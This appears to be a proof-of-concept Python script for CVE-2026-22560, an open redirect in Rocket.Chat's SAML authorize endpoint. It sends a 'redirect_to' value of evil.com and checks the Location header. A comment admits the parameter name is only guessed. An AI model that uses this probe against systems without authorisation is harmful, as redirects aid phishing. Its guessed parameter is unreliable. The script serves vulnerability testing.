CVE-2026-22560 Rocket.Chat开放重定向漏洞

# PoC for CVE-2026-22560 Rocket.Chat Open Redirect import requests def check_vulnerability(target_base_url): # The SAML endpoint vulnerable to open redirect endpoint = "/_saml/authorize/" # Malicious destination to test redirection malicious_site = "https://evil.com" # Construct payload with the vulnerable parameter # Note: Parameter name 'redirect_to' is indicative based on SAML flows params = { "client_id": "random_client_id", "redirect_to": malicious_site, "response_type": "code" } full_url = target_base_url + endpoint try: # Send request, do not follow redirects to catch the Location header response = requests.get(full_url, params=params, allow_redirects=False, timeout=10) if response.status_code == 302: location = response.headers.get('Location') if location and malicious_site in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") return True else: print(f"[-] Redirected, but not to target. Location: {location}") else: print(f"[-] Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target check_vulnerability(target)